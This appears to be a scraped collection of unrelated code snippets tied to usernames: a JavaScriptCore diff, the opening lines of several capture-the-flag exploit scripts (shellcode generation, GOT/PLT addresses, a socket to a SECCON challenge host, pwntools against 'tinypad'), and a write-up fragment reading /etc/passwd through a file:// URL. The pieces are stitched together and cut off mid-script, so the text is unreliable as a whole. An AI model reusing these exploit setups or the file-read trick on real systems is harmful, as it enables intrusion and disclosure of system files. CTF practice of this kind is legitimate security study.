BenjaminPoulain

diff --git a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
index 818895c..4b1278a 100644
--- a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
@@ -383,7 +383,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncJoin(ExecState* exec)
 
     UString separator;
     if (!exec->argument(0).isUndefined())
-        separator = exec->argument(0).toString(exec)->value(exec);
+        separator = fastJSValuetoUString(exec->argument(0), exec);

g05u

#!/usr/bin/env python

from nulllife import *
import struct


shellcode = NullShell(name = 'exec', arch = 'x86', os = 'linux').get()
stack_chk_got = 0x0804A018
message_data  = 0x0804A070

g05u

#!/usr/bin/env python
from struct import *

from nulllife import *

new_ebp  = 0x0804a100
plt_read = 0x080483E0
plt_open = 0x08048420
plt_write = 0x08048450
flag_str = 0x080487D0

noncetonic

#DIAGCGI

##Arbitrary File Read

```file:///etc/passwd``` and use curl function shows us 

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

potetisensei

from socket import *
from struct import pack, unpack
from commands import getoutput
from time import sleep

buf_clone = 0x080CB960

p = socket(AF_INET, SOCK_STREAM)
p.connect(("ropi.pwn.seccon.jp", 10000))

thejh

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>

potetisensei

PlaidDB - Plaid 2015
Prodmanager - Plaid 2015
qttpd - Plaid 2015
tp - Plaid 2015
traveller - Plaid 2015
Weff - CODEGATE 2015
icbm - CODEGATE 2015
beef_steak - CODEGATE 2015
Bookstore - CODEGATE 2015
Olive and Mushroom Pizza - CODEGATE 2015

zzoru

''''
PwnPineappleApplePwn
https://www.youtube.com/watch?v=0E00Zuayv9Q
''''

from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'

p = process('./tinypad')

ueharajohji

puts "report me and you will find out"